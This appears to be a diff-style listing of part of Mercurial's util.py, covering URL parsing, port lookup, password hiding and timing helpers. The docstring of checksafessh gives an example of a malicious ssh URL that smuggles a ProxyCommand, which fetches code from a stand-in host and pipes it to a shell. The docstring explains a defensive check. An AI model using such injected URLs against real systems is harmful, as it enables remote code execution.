2888 else:
2889 else:
2889 return _safeiterfile(fp)
2890 return _safeiterfile(fp)
2890
2891
2891
2892
2892 else:
2893 else:
2893 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2894 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2894 def iterfile(fp):
2895 def iterfile(fp):
2895 return fp
2896 return fp
2896
2897
2897
2898
2898 def iterlines(iterator):
2899 def iterlines(iterator):
2899 for chunk in iterator:
2900 for chunk in iterator:
2900 for line in chunk.splitlines():
2901 for line in chunk.splitlines():
2901 yield line
2902 yield line
2902
2903
2903
2904
2904 def expandpath(path):
2905 def expandpath(path):
2905 return os.path.expanduser(os.path.expandvars(path))
2906 return os.path.expanduser(os.path.expandvars(path))
2906
2907
2907
2908
2908 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2909 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2909 """Return the result of interpolating items in the mapping into string s.
2910 """Return the result of interpolating items in the mapping into string s.
2910
2911
2911 prefix is a single character string, or a two character string with
2912 prefix is a single character string, or a two character string with
2912 a backslash as the first character if the prefix needs to be escaped in
2913 a backslash as the first character if the prefix needs to be escaped in
2913 a regular expression.
2914 a regular expression.
2914
2915
2915 fn is an optional function that will be applied to the replacement text
2916 fn is an optional function that will be applied to the replacement text
2916 just before replacement.
2917 just before replacement.
2917
2918
2918 escape_prefix is an optional flag that allows using doubled prefix for
2919 escape_prefix is an optional flag that allows using doubled prefix for
2919 its escaping.
2920 its escaping.
2920 """
2921 """
2921 fn = fn or (lambda s: s)
2922 fn = fn or (lambda s: s)
2922 patterns = b'|'.join(mapping.keys())
2923 patterns = b'|'.join(mapping.keys())
2923 if escape_prefix:
2924 if escape_prefix:
2924 patterns += b'|' + prefix
2925 patterns += b'|' + prefix
2925 if len(prefix) > 1:
2926 if len(prefix) > 1:
2926 prefix_char = prefix[1:]
2927 prefix_char = prefix[1:]
2927 else:
2928 else:
2928 prefix_char = prefix
2929 prefix_char = prefix
2929 mapping[prefix_char] = prefix_char
2930 mapping[prefix_char] = prefix_char
2930 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2931 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2931 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2932 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2932
2933
2933
2934
2934 def getport(port):
2935 def getport(port):
2935 """Return the port for a given network service.
2936 """Return the port for a given network service.
2936
2937
2937 If port is an integer, it's returned as is. If it's a string, it's
2938 If port is an integer, it's returned as is. If it's a string, it's
2938 looked up using socket.getservbyname(). If there's no matching
2939 looked up using socket.getservbyname(). If there's no matching
2939 service, error.Abort is raised.
2940 service, error.Abort is raised.
2940 """
2941 """
2941 try:
2942 try:
2942 return int(port)
2943 return int(port)
2943 except ValueError:
2944 except ValueError:
2944 pass
2945 pass
2945
2946
2946 try:
2947 try:
2947 return socket.getservbyname(pycompat.sysstr(port))
2948 return socket.getservbyname(pycompat.sysstr(port))
2948 except socket.error:
2949 except socket.error:
2949 raise error.Abort(
2950 raise error.Abort(
2950 _(b"no port number associated with service '%s'") % port
2951 _(b"no port number associated with service '%s'") % port
2951 )
2952 )
2952
2953
2953
2954
2954 class url(object):
2955 class url(object):
2955 r"""Reliable URL parser.
2956 r"""Reliable URL parser.
2956
2957
2957 This parses URLs and provides attributes for the following
2958 This parses URLs and provides attributes for the following
2958 components:
2959 components:
2959
2960
2960 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2961 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2961
2962
2962 Missing components are set to None. The only exception is
2963 Missing components are set to None. The only exception is
2963 fragment, which is set to '' if present but empty.
2964 fragment, which is set to '' if present but empty.
2964
2965
2965 If parsefragment is False, fragment is included in query. If
2966 If parsefragment is False, fragment is included in query. If
2966 parsequery is False, query is included in path. If both are
2967 parsequery is False, query is included in path. If both are
2967 False, both fragment and query are included in path.
2968 False, both fragment and query are included in path.
2968
2969
2969 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2970 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2970
2971
2971 Note that for backward compatibility reasons, bundle URLs do not
2972 Note that for backward compatibility reasons, bundle URLs do not
2972 take host names. That means 'bundle://../' has a path of '../'.
2973 take host names. That means 'bundle://../' has a path of '../'.
2973
2974
2974 Examples:
2975 Examples:
2975
2976
2976 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2977 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2977 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2978 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2978 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2979 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2979 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2980 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2980 >>> url(b'file:///home/joe/repo')
2981 >>> url(b'file:///home/joe/repo')
2981 <url scheme: 'file', path: '/home/joe/repo'>
2982 <url scheme: 'file', path: '/home/joe/repo'>
2982 >>> url(b'file:///c:/temp/foo/')
2983 >>> url(b'file:///c:/temp/foo/')
2983 <url scheme: 'file', path: 'c:/temp/foo/'>
2984 <url scheme: 'file', path: 'c:/temp/foo/'>
2984 >>> url(b'bundle:foo')
2985 >>> url(b'bundle:foo')
2985 <url scheme: 'bundle', path: 'foo'>
2986 <url scheme: 'bundle', path: 'foo'>
2986 >>> url(b'bundle://../foo')
2987 >>> url(b'bundle://../foo')
2987 <url scheme: 'bundle', path: '../foo'>
2988 <url scheme: 'bundle', path: '../foo'>
2988 >>> url(br'c:\foo\bar')
2989 >>> url(br'c:\foo\bar')
2989 <url path: 'c:\\foo\\bar'>
2990 <url path: 'c:\\foo\\bar'>
2990 >>> url(br'\\blah\blah\blah')
2991 >>> url(br'\\blah\blah\blah')
2991 <url path: '\\\\blah\\blah\\blah'>
2992 <url path: '\\\\blah\\blah\\blah'>
2992 >>> url(br'\\blah\blah\blah#baz')
2993 >>> url(br'\\blah\blah\blah#baz')
2993 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2994 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2994 >>> url(br'file:///C:\users\me')
2995 >>> url(br'file:///C:\users\me')
2995 <url scheme: 'file', path: 'C:\\users\\me'>
2996 <url scheme: 'file', path: 'C:\\users\\me'>
2996
2997
2997 Authentication credentials:
2998 Authentication credentials:
2998
2999
2999 >>> url(b'ssh://joe:xyz@x/repo')
3000 >>> url(b'ssh://joe:xyz@x/repo')
3000 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
3001 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
3001 >>> url(b'ssh://joe@x/repo')
3002 >>> url(b'ssh://joe@x/repo')
3002 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
3003 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
3003
3004
3004 Query strings and fragments:
3005 Query strings and fragments:
3005
3006
3006 >>> url(b'http://host/a?b#c')
3007 >>> url(b'http://host/a?b#c')
3007 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
3008 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
3008 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
3009 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
3009 <url scheme: 'http', host: 'host', path: 'a?b#c'>
3010 <url scheme: 'http', host: 'host', path: 'a?b#c'>
3010
3011
3011 Empty path:
3012 Empty path:
3012
3013
3013 >>> url(b'')
3014 >>> url(b'')
3014 <url path: ''>
3015 <url path: ''>
3015 >>> url(b'#a')
3016 >>> url(b'#a')
3016 <url path: '', fragment: 'a'>
3017 <url path: '', fragment: 'a'>
3017 >>> url(b'http://host/')
3018 >>> url(b'http://host/')
3018 <url scheme: 'http', host: 'host', path: ''>
3019 <url scheme: 'http', host: 'host', path: ''>
3019 >>> url(b'http://host/#a')
3020 >>> url(b'http://host/#a')
3020 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3021 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3021
3022
3022 Only scheme:
3023 Only scheme:
3023
3024
3024 >>> url(b'http:')
3025 >>> url(b'http:')
3025 <url scheme: 'http'>
3026 <url scheme: 'http'>
3026 """
3027 """
3027
3028
3028 _safechars = b"!~*'()+"
3029 _safechars = b"!~*'()+"
3029 _safepchars = b"/!~*'()+:\\"
3030 _safepchars = b"/!~*'()+:\\"
3030 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3031 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3031
3032
3032 def __init__(self, path, parsequery=True, parsefragment=True):
3033 def __init__(self, path, parsequery=True, parsefragment=True):
3033 # We slowly chomp away at path until we have only the path left
3034 # We slowly chomp away at path until we have only the path left
3034 self.scheme = self.user = self.passwd = self.host = None
3035 self.scheme = self.user = self.passwd = self.host = None
3035 self.port = self.path = self.query = self.fragment = None
3036 self.port = self.path = self.query = self.fragment = None
3036 self._localpath = True
3037 self._localpath = True
3037 self._hostport = b''
3038 self._hostport = b''
3038 self._origpath = path
3039 self._origpath = path
3039
3040
3040 if parsefragment and b'#' in path:
3041 if parsefragment and b'#' in path:
3041 path, self.fragment = path.split(b'#', 1)
3042 path, self.fragment = path.split(b'#', 1)
3042
3043
3043 # special case for Windows drive letters and UNC paths
3044 # special case for Windows drive letters and UNC paths
3044 if hasdriveletter(path) or path.startswith(b'\\\\'):
3045 if hasdriveletter(path) or path.startswith(b'\\\\'):
3045 self.path = path
3046 self.path = path
3046 return
3047 return
3047
3048
3048 # For compatibility reasons, we can't handle bundle paths as
3049 # For compatibility reasons, we can't handle bundle paths as
3049 # normal URLS
3050 # normal URLS
3050 if path.startswith(b'bundle:'):
3051 if path.startswith(b'bundle:'):
3051 self.scheme = b'bundle'
3052 self.scheme = b'bundle'
3052 path = path[7:]
3053 path = path[7:]
3053 if path.startswith(b'//'):
3054 if path.startswith(b'//'):
3054 path = path[2:]
3055 path = path[2:]
3055 self.path = path
3056 self.path = path
3056 return
3057 return
3057
3058
3058 if self._matchscheme(path):
3059 if self._matchscheme(path):
3059 parts = path.split(b':', 1)
3060 parts = path.split(b':', 1)
3060 if parts[0]:
3061 if parts[0]:
3061 self.scheme, path = parts
3062 self.scheme, path = parts
3062 self._localpath = False
3063 self._localpath = False
3063
3064
3064 if not path:
3065 if not path:
3065 path = None
3066 path = None
3066 if self._localpath:
3067 if self._localpath:
3067 self.path = b''
3068 self.path = b''
3068 return
3069 return
3069 else:
3070 else:
3070 if self._localpath:
3071 if self._localpath:
3071 self.path = path
3072 self.path = path
3072 return
3073 return
3073
3074
3074 if parsequery and b'?' in path:
3075 if parsequery and b'?' in path:
3075 path, self.query = path.split(b'?', 1)
3076 path, self.query = path.split(b'?', 1)
3076 if not path:
3077 if not path:
3077 path = None
3078 path = None
3078 if not self.query:
3079 if not self.query:
3079 self.query = None
3080 self.query = None
3080
3081
3081 # // is required to specify a host/authority
3082 # // is required to specify a host/authority
3082 if path and path.startswith(b'//'):
3083 if path and path.startswith(b'//'):
3083 parts = path[2:].split(b'/', 1)
3084 parts = path[2:].split(b'/', 1)
3084 if len(parts) > 1:
3085 if len(parts) > 1:
3085 self.host, path = parts
3086 self.host, path = parts
3086 else:
3087 else:
3087 self.host = parts[0]
3088 self.host = parts[0]
3088 path = None
3089 path = None
3089 if not self.host:
3090 if not self.host:
3090 self.host = None
3091 self.host = None
3091 # path of file:///d is /d
3092 # path of file:///d is /d
3092 # path of file:///d:/ is d:/, not /d:/
3093 # path of file:///d:/ is d:/, not /d:/
3093 if path and not hasdriveletter(path):
3094 if path and not hasdriveletter(path):
3094 path = b'/' + path
3095 path = b'/' + path
3095
3096
3096 if self.host and b'@' in self.host:
3097 if self.host and b'@' in self.host:
3097 self.user, self.host = self.host.rsplit(b'@', 1)
3098 self.user, self.host = self.host.rsplit(b'@', 1)
3098 if b':' in self.user:
3099 if b':' in self.user:
3099 self.user, self.passwd = self.user.split(b':', 1)
3100 self.user, self.passwd = self.user.split(b':', 1)
3100 if not self.host:
3101 if not self.host:
3101 self.host = None
3102 self.host = None
3102
3103
3103 # Don't split on colons in IPv6 addresses without ports
3104 # Don't split on colons in IPv6 addresses without ports
3104 if (
3105 if (
3105 self.host
3106 self.host
3106 and b':' in self.host
3107 and b':' in self.host
3107 and not (
3108 and not (
3108 self.host.startswith(b'[') and self.host.endswith(b']')
3109 self.host.startswith(b'[') and self.host.endswith(b']')
3109 )
3110 )
3110 ):
3111 ):
3111 self._hostport = self.host
3112 self._hostport = self.host
3112 self.host, self.port = self.host.rsplit(b':', 1)
3113 self.host, self.port = self.host.rsplit(b':', 1)
3113 if not self.host:
3114 if not self.host:
3114 self.host = None
3115 self.host = None
3115
3116
3116 if (
3117 if (
3117 self.host
3118 self.host
3118 and self.scheme == b'file'
3119 and self.scheme == b'file'
3119 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3120 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3120 ):
3121 ):
3121 raise error.Abort(
3122 raise error.Abort(
3122 _(b'file:// URLs can only refer to localhost')
3123 _(b'file:// URLs can only refer to localhost')
3123 )
3124 )
3124
3125
3125 self.path = path
3126 self.path = path
3126
3127
3127 # leave the query string escaped
3128 # leave the query string escaped
3128 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3129 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3129 v = getattr(self, a)
3130 v = getattr(self, a)
3130 if v is not None:
3131 if v is not None:
3131 setattr(self, a, urlreq.unquote(v))
3132 setattr(self, a, urlreq.unquote(v))
3132
3133
3133 @encoding.strmethod
3134 @encoding.strmethod
3134 def __repr__(self):
3135 def __repr__(self):
3135 attrs = []
3136 attrs = []
3136 for a in (
3137 for a in (
3137 b'scheme',
3138 b'scheme',
3138 b'user',
3139 b'user',
3139 b'passwd',
3140 b'passwd',
3140 b'host',
3141 b'host',
3141 b'port',
3142 b'port',
3142 b'path',
3143 b'path',
3143 b'query',
3144 b'query',
3144 b'fragment',
3145 b'fragment',
3145 ):
3146 ):
3146 v = getattr(self, a)
3147 v = getattr(self, a)
3147 if v is not None:
3148 if v is not None:
3148 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3149 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3149 return b'<url %s>' % b', '.join(attrs)
3150 return b'<url %s>' % b', '.join(attrs)
3150
3151
3151 def __bytes__(self):
3152 def __bytes__(self):
3152 r"""Join the URL's components back into a URL string.
3153 r"""Join the URL's components back into a URL string.
3153
3154
3154 Examples:
3155 Examples:
3155
3156
3156 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3157 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3157 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3158 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3158 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3159 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3159 'http://user:pw@host:80/?foo=bar&baz=42'
3160 'http://user:pw@host:80/?foo=bar&baz=42'
3160 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3161 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3161 'http://user:pw@host:80/?foo=bar%3dbaz'
3162 'http://user:pw@host:80/?foo=bar%3dbaz'
3162 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3163 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3163 'ssh://user:pw@[::1]:2200//home/joe#'
3164 'ssh://user:pw@[::1]:2200//home/joe#'
3164 >>> bytes(url(b'http://localhost:80//'))
3165 >>> bytes(url(b'http://localhost:80//'))
3165 'http://localhost:80//'
3166 'http://localhost:80//'
3166 >>> bytes(url(b'http://localhost:80/'))
3167 >>> bytes(url(b'http://localhost:80/'))
3167 'http://localhost:80/'
3168 'http://localhost:80/'
3168 >>> bytes(url(b'http://localhost:80'))
3169 >>> bytes(url(b'http://localhost:80'))
3169 'http://localhost:80/'
3170 'http://localhost:80/'
3170 >>> bytes(url(b'bundle:foo'))
3171 >>> bytes(url(b'bundle:foo'))
3171 'bundle:foo'
3172 'bundle:foo'
3172 >>> bytes(url(b'bundle://../foo'))
3173 >>> bytes(url(b'bundle://../foo'))
3173 'bundle:../foo'
3174 'bundle:../foo'
3174 >>> bytes(url(b'path'))
3175 >>> bytes(url(b'path'))
3175 'path'
3176 'path'
3176 >>> bytes(url(b'file:///tmp/foo/bar'))
3177 >>> bytes(url(b'file:///tmp/foo/bar'))
3177 'file:///tmp/foo/bar'
3178 'file:///tmp/foo/bar'
3178 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3179 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3179 'file:///c:/tmp/foo/bar'
3180 'file:///c:/tmp/foo/bar'
3180 >>> print(url(br'bundle:foo\bar'))
3181 >>> print(url(br'bundle:foo\bar'))
3181 bundle:foo\bar
3182 bundle:foo\bar
3182 >>> print(url(br'file:///D:\data\hg'))
3183 >>> print(url(br'file:///D:\data\hg'))
3183 file:///D:\data\hg
3184 file:///D:\data\hg
3184 """
3185 """
3185 if self._localpath:
3186 if self._localpath:
3186 s = self.path
3187 s = self.path
3187 if self.scheme == b'bundle':
3188 if self.scheme == b'bundle':
3188 s = b'bundle:' + s
3189 s = b'bundle:' + s
3189 if self.fragment:
3190 if self.fragment:
3190 s += b'#' + self.fragment
3191 s += b'#' + self.fragment
3191 return s
3192 return s
3192
3193
3193 s = self.scheme + b':'
3194 s = self.scheme + b':'
3194 if self.user or self.passwd or self.host:
3195 if self.user or self.passwd or self.host:
3195 s += b'//'
3196 s += b'//'
3196 elif self.scheme and (
3197 elif self.scheme and (
3197 not self.path
3198 not self.path
3198 or self.path.startswith(b'/')
3199 or self.path.startswith(b'/')
3199 or hasdriveletter(self.path)
3200 or hasdriveletter(self.path)
3200 ):
3201 ):
3201 s += b'//'
3202 s += b'//'
3202 if hasdriveletter(self.path):
3203 if hasdriveletter(self.path):
3203 s += b'/'
3204 s += b'/'
3204 if self.user:
3205 if self.user:
3205 s += urlreq.quote(self.user, safe=self._safechars)
3206 s += urlreq.quote(self.user, safe=self._safechars)
3206 if self.passwd:
3207 if self.passwd:
3207 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3208 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3208 if self.user or self.passwd:
3209 if self.user or self.passwd:
3209 s += b'@'
3210 s += b'@'
3210 if self.host:
3211 if self.host:
3211 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3212 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3212 s += urlreq.quote(self.host)
3213 s += urlreq.quote(self.host)
3213 else:
3214 else:
3214 s += self.host
3215 s += self.host
3215 if self.port:
3216 if self.port:
3216 s += b':' + urlreq.quote(self.port)
3217 s += b':' + urlreq.quote(self.port)
3217 if self.host:
3218 if self.host:
3218 s += b'/'
3219 s += b'/'
3219 if self.path:
3220 if self.path:
3220 # TODO: similar to the query string, we should not unescape the
3221 # TODO: similar to the query string, we should not unescape the
3221 # path when we store it, the path might contain '%2f' = '/',
3222 # path when we store it, the path might contain '%2f' = '/',
3222 # which we should *not* escape.
3223 # which we should *not* escape.
3223 s += urlreq.quote(self.path, safe=self._safepchars)
3224 s += urlreq.quote(self.path, safe=self._safepchars)
3224 if self.query:
3225 if self.query:
3225 # we store the query in escaped form.
3226 # we store the query in escaped form.
3226 s += b'?' + self.query
3227 s += b'?' + self.query
3227 if self.fragment is not None:
3228 if self.fragment is not None:
3228 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3229 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3229 return s
3230 return s
3230
3231
3231 __str__ = encoding.strmethod(__bytes__)
3232 __str__ = encoding.strmethod(__bytes__)
3232
3233
3233 def authinfo(self):
3234 def authinfo(self):
3234 user, passwd = self.user, self.passwd
3235 user, passwd = self.user, self.passwd
3235 try:
3236 try:
3236 self.user, self.passwd = None, None
3237 self.user, self.passwd = None, None
3237 s = bytes(self)
3238 s = bytes(self)
3238 finally:
3239 finally:
3239 self.user, self.passwd = user, passwd
3240 self.user, self.passwd = user, passwd
3240 if not self.user:
3241 if not self.user:
3241 return (s, None)
3242 return (s, None)
3242 # authinfo[1] is passed to urllib2 password manager, and its
3243 # authinfo[1] is passed to urllib2 password manager, and its
3243 # URIs must not contain credentials. The host is passed in the
3244 # URIs must not contain credentials. The host is passed in the
3244 # URIs list because Python < 2.4.3 uses only that to search for
3245 # URIs list because Python < 2.4.3 uses only that to search for
3245 # a password.
3246 # a password.
3246 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3247 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3247
3248
3248 def isabs(self):
3249 def isabs(self):
3249 if self.scheme and self.scheme != b'file':
3250 if self.scheme and self.scheme != b'file':
3250 return True # remote URL
3251 return True # remote URL
3251 if hasdriveletter(self.path):
3252 if hasdriveletter(self.path):
3252 return True # absolute for our purposes - can't be joined()
3253 return True # absolute for our purposes - can't be joined()
3253 if self.path.startswith(br'\\'):
3254 if self.path.startswith(br'\\'):
3254 return True # Windows UNC path
3255 return True # Windows UNC path
3255 if self.path.startswith(b'/'):
3256 if self.path.startswith(b'/'):
3256 return True # POSIX-style
3257 return True # POSIX-style
3257 return False
3258 return False
3258
3259
3259 def localpath(self):
3260 def localpath(self):
3260 if self.scheme == b'file' or self.scheme == b'bundle':
3261 if self.scheme == b'file' or self.scheme == b'bundle':
3261 path = self.path or b'/'
3262 path = self.path or b'/'
3262 # For Windows, we need to promote hosts containing drive
3263 # For Windows, we need to promote hosts containing drive
3263 # letters to paths with drive letters.
3264 # letters to paths with drive letters.
3264 if hasdriveletter(self._hostport):
3265 if hasdriveletter(self._hostport):
3265 path = self._hostport + b'/' + self.path
3266 path = self._hostport + b'/' + self.path
3266 elif (
3267 elif (
3267 self.host is not None and self.path and not hasdriveletter(path)
3268 self.host is not None and self.path and not hasdriveletter(path)
3268 ):
3269 ):
3269 path = b'/' + path
3270 path = b'/' + path
3270 return path
3271 return path
3271 return self._origpath
3272 return self._origpath
3272
3273
3273 def islocal(self):
3274 def islocal(self):
3274 '''whether localpath will return something that posixfile can open'''
3275 '''whether localpath will return something that posixfile can open'''
3275 return (
3276 return (
3276 not self.scheme
3277 not self.scheme
3277 or self.scheme == b'file'
3278 or self.scheme == b'file'
3278 or self.scheme == b'bundle'
3279 or self.scheme == b'bundle'
3279 )
3280 )
3280
3281
3281
3282
3282 def hasscheme(path):
3283 def hasscheme(path):
3283 return bool(url(path).scheme)
3284 return bool(url(path).scheme)
3284
3285
3285
3286
3286 def hasdriveletter(path):
3287 def hasdriveletter(path):
3287 return path and path[1:2] == b':' and path[0:1].isalpha()
3288 return path and path[1:2] == b':' and path[0:1].isalpha()
3288
3289
3289
3290
3290 def urllocalpath(path):
3291 def urllocalpath(path):
3291 return url(path, parsequery=False, parsefragment=False).localpath()
3292 return url(path, parsequery=False, parsefragment=False).localpath()
3292
3293
3293
3294
3294 def checksafessh(path):
3295 def checksafessh(path):
3295 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3296 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3296
3297
3297 This is a sanity check for ssh urls. ssh will parse the first item as
3298 This is a sanity check for ssh urls. ssh will parse the first item as
3298 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3299 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3299 Let's prevent these potentially exploited urls entirely and warn the
3300 Let's prevent these potentially exploited urls entirely and warn the
3300 user.
3301 user.
3301
3302
3302 Raises an error.Abort when the url is unsafe.
3303 Raises an error.Abort when the url is unsafe.
3303 """
3304 """
3304 path = urlreq.unquote(path)
3305 path = urlreq.unquote(path)
3305 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3306 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3306 raise error.Abort(
3307 raise error.Abort(
3307 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3308 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3308 )
3309 )
3309
3310
3310
3311
3311 def hidepassword(u):
3312 def hidepassword(u):
3312 '''hide user credential in a url string'''
3313 '''hide user credential in a url string'''
3313 u = url(u)
3314 u = url(u)
3314 if u.passwd:
3315 if u.passwd:
3315 u.passwd = b'***'
3316 u.passwd = b'***'
3316 return bytes(u)
3317 return bytes(u)
3317
3318
3318
3319
3319 def removeauth(u):
3320 def removeauth(u):
3320 '''remove all authentication information from a url string'''
3321 '''remove all authentication information from a url string'''
3321 u = url(u)
3322 u = url(u)
3322 u.user = u.passwd = None
3323 u.user = u.passwd = None
3323 return bytes(u)
3324 return bytes(u)
3324
3325
3325
3326
3326 timecount = unitcountfn(
3327 timecount = unitcountfn(
3327 (1, 1e3, _(b'%.0f s')),
3328 (1, 1e3, _(b'%.0f s')),
3328 (100, 1, _(b'%.1f s')),
3329 (100, 1, _(b'%.1f s')),
3329 (10, 1, _(b'%.2f s')),
3330 (10, 1, _(b'%.2f s')),
3330 (1, 1, _(b'%.3f s')),
3331 (1, 1, _(b'%.3f s')),
3331 (100, 0.001, _(b'%.1f ms')),
3332 (100, 0.001, _(b'%.1f ms')),
3332 (10, 0.001, _(b'%.2f ms')),
3333 (10, 0.001, _(b'%.2f ms')),
3333 (1, 0.001, _(b'%.3f ms')),
3334 (1, 0.001, _(b'%.3f ms')),
3334 (100, 0.000001, _(b'%.1f us')),
3335 (100, 0.000001, _(b'%.1f us')),
3335 (10, 0.000001, _(b'%.2f us')),
3336 (10, 0.000001, _(b'%.2f us')),
3336 (1, 0.000001, _(b'%.3f us')),
3337 (1, 0.000001, _(b'%.3f us')),
3337 (100, 0.000000001, _(b'%.1f ns')),
3338 (100, 0.000000001, _(b'%.1f ns')),
3338 (10, 0.000000001, _(b'%.2f ns')),
3339 (10, 0.000000001, _(b'%.2f ns')),
3339 (1, 0.000000001, _(b'%.3f ns')),
3340 (1, 0.000000001, _(b'%.3f ns')),
3340 )
3341 )
3341
3342
3342
3343
3343 @attr.s
3344 @attr.s
3344 class timedcmstats(object):
3345 class timedcmstats(object):
3345 """Stats information produced by the timedcm context manager on entering."""
3346 """Stats information produced by the timedcm context manager on entering."""
3346
3347
3347 # the starting value of the timer as a float (meaning and resulution is
3348 # the starting value of the timer as a float (meaning and resulution is
3348 # platform dependent, see util.timer)
3349 # platform dependent, see util.timer)
3349 start = attr.ib(default=attr.Factory(lambda: timer()))
3350 start = attr.ib(default=attr.Factory(lambda: timer()))
3350 # the number of seconds as a floating point value; starts at 0, updated when
3351 # the number of seconds as a floating point value; starts at 0, updated when
3351 # the context is exited.
3352 # the context is exited.
3352 elapsed = attr.ib(default=0)
3353 elapsed = attr.ib(default=0)
3353 # the number of nested timedcm context managers.
3354 # the number of nested timedcm context managers.
3354 level = attr.ib(default=1)
3355 level = attr.ib(default=1)
3355
3356
3356 def __bytes__(self):
3357 def __bytes__(self):
3357 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3358 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3358
3359
3359 __str__ = encoding.strmethod(__bytes__)
3360 __str__ = encoding.strmethod(__bytes__)
3360
3361
3361
3362
3362 @contextlib.contextmanager
3363 @contextlib.contextmanager
3363 def timedcm(whencefmt, *whenceargs):
3364 def timedcm(whencefmt, *whenceargs):
3364 """A context manager that produces timing information for a given context.
3365 """A context manager that produces timing information for a given context.
3365
3366
3366 On entering a timedcmstats instance is produced.
3367 On entering a timedcmstats instance is produced.
3367
3368
3368 This context manager is reentrant.
3369 This context manager is reentrant.
3369
3370
3370 """
3371 """
3371 # track nested context managers
3372 # track nested context managers
3372 timedcm._nested += 1
3373 timedcm._nested += 1
3373 timing_stats = timedcmstats(level=timedcm._nested)
3374 timing_stats = timedcmstats(level=timedcm._nested)
3374 try:
3375 try:
3375 with tracing.log(whencefmt, *whenceargs):
3376 with tracing.log(whencefmt, *whenceargs):
3376 yield timing_stats
3377 yield timing_stats
3377 finally:
3378 finally:
3378 timing_stats.elapsed = timer() - timing_stats.start
3379 timing_stats.elapsed = timer() - timing_stats.start
3379 timedcm._nested -= 1
3380 timedcm._nested -= 1
3380
3381
3381
3382
3382 timedcm._nested = 0
3383 timedcm._nested = 0
3383
3384
3384
3385
3385 def timed(func):
3386 def timed(func):
3386 '''Report the execution time of a function call to stderr.
3387 '''Report the execution time of a function call to stderr.
3387
3388
3388 During development, use as a decorator when you need to measure
3389 During development, use as a decorator when you need to measure
3389 the cost of a function, e.g. as follows:
3390 the cost of a function, e.g. as follows:
3390
3391
3391 @util.timed
3392 @util.timed
3392 def foo(a, b, c):
3393 def foo(a, b, c):
3393 pass
3394 pass
3394 '''
3395 '''
3395
3396
3396 def wrapper(*args, **kwargs):
3397 def wrapper(*args, **kwargs):
3397 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3398 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3398 result = func(*args, **kwargs)
3399 result = func(*args, **kwargs)
3399 stderr = procutil.stderr
3400 stderr = procutil.stderr
